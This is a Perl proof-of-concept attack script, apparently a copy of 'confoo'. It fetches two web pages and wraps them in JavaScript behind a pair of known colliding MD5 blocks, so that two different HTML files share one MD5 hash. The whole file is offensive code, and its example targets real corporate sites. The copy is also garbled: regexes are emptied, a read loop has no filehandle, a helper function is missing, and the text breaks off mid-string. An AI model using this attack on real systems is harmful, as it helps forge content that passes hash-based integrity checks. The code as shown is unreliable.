#!/usr/bin/perl use strict; use LWP::Simple; use Digest::MD5 qw(md5 md5_hex); use Getopt::Long; my $VERSION = '1.0'; sub usage{ print STDERR <<"EOD"; confoo $VERSION: Web Conflation Attack Using Colliding MD5 Vectors and Javascript Author: Dan Kaminsky(dan\@doxpara.com) Example: ./confoo www.lockheedmartin.com active.boeing.com/sitemap.cfm EOD exit 1; } my $verbose; if(!$ARGV[1]) { usage(); } if($ARGV[0] eq "-v") { $verbose++; shift @ARGV; } my $addr1 = $ARGV[0]; my $addr2 = $ARGV[1]; print STDERR "Loading: $addr1...\n"; my $t1 = encap_js_from_web($addr1, "t1"); if(length $t1 eq 0) { die "couldn't load $addr1" } print STDERR "Loading: $addr2...\n"; my $t2 = encap_js_from_web($addr2, "t2") or die "couldn't load file2"; if(length $t2 eq 0) { die "couldn't load $addr2" } my $suffix = get_suffix("t1", "t2"); my $t1_prefix = get_prefix(1); my $t2_prefix = get_prefix(2); my $t1_full = $t1_prefix . $t1 . $t2 . $suffix; my $t2_full = $t2_prefix . $t1 . $t2 . $suffix; open FILE, ">t1.html"; print FILE $t1_full; close FILE; open FILE, ">t2.html"; print FILE $t2_full; close FILE; if($verbose){ print STDERR md5_hex($t1_full), ": md5sum of t1.html ($addr1)\n"; print STDERR md5_hex($t2_full), ": md5sum of t2.html ($addr2)\n"; } sub encap_js_from_web{ my $addr = shift; my $name = shift; if($addr !~ /http/){ $addr = 'http://' . $addr; } my $content = get($addr); if(!$content) { return ""; } # When you migrate content from one server to another, and you don't copy # over all the supporting files -- you need to create a href so that # all the relatively hosted files are acquired from their remote server. # If we wanted to do a full spider of $content, this wouldn't be necessary. if($content !~ m/\/i) { $content =~ s/\/\\/i; } open FILE, ">gah.html"; print FILE $content; close FILE; return encap_js($content, $name); } sub encap_js_from_file{ my $filename = shift; my $arrayname = shift; my $data; my $out; open FILE, ">$filename"; while(){ $data = $data . $_; } return encap_js($data); } sub encap_js{ my $data = shift; my $name = shift; my $out; $out = "$name = \""; $out = $out . url_filt($data); $out = $out . "\"\n"; return $out; } sub url_filt{ my $data = shift; my $out; while(length $data){ my $subdata = substr($data, 0, 40); $subdata =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $out = $out . "\\\n" . $subdata; $data = substr($data, 40); } return $out; } # h2b: Convert hexadecimal to binary. This is wildly unoptimized. sub h2b{ my @args = @_; my $val = $args[0]; $val =~s/[^a-f0-9]//g; my $i; my $return; for($i=0; $i < length($val); $i+=2){ my $hi = substr($val, $i, 1); my $lo = substr($val, $i+1, 1); $return = $return . pack("C", hex($hi . $lo)); } return $return; } sub get_prefix { my $which = shift; my $out; my $vec1 = h2b(" d1 31 dd 02 c5 e6 ee c4 69 3d 9a 06 98 af f9 5c 2f ca b5 87 12 46 7e ab 40 04 58 3e b8 fb 7f 89 55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 71 41 5a 08 51 25 e8 f7 cd c9 9f d9 1d bd f2 80 37 3c 5b d8 82 3e 31 56 34 8f 5b ae 6d ac d4 36 c9 19 c6 dd 53 e2 b4 87 da 03 fd 02 39 63 06 d2 48 cd a0 e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 a8 0d 1e c6 98 21 bc b6 a8 83 93 96 f9 65 2b 6f f7 2a 70 "); my $vec2 = h2b(" d1 31 dd 02 c5 e6 ee c4 69 3d 9a 06 98 af f9 5c 2f ca b5 07 12 46 7e ab 40 04 58 3e b8 fb 7f 89 55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 f1 41 5a 08 51 25 e8 f7 cd c9 9f d9 1d bd 72 80 37 3c 5b d8 82 3e 31 56 34 8f 5b ae 6d ac d4 36 c9 19 c6 dd 53 e2 34 87 da 03 fd 02 39 63 06 d2 48 cd a0 e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 28 0d 1e c6 98 21 bc b6 a8 83 93 96 f9 65 ab 6f f7 2a 70 "); if($which eq 1) { $out = $out . $vec1; } else { $out = $out . $vec2; } $out = $out . ' "; return $out; }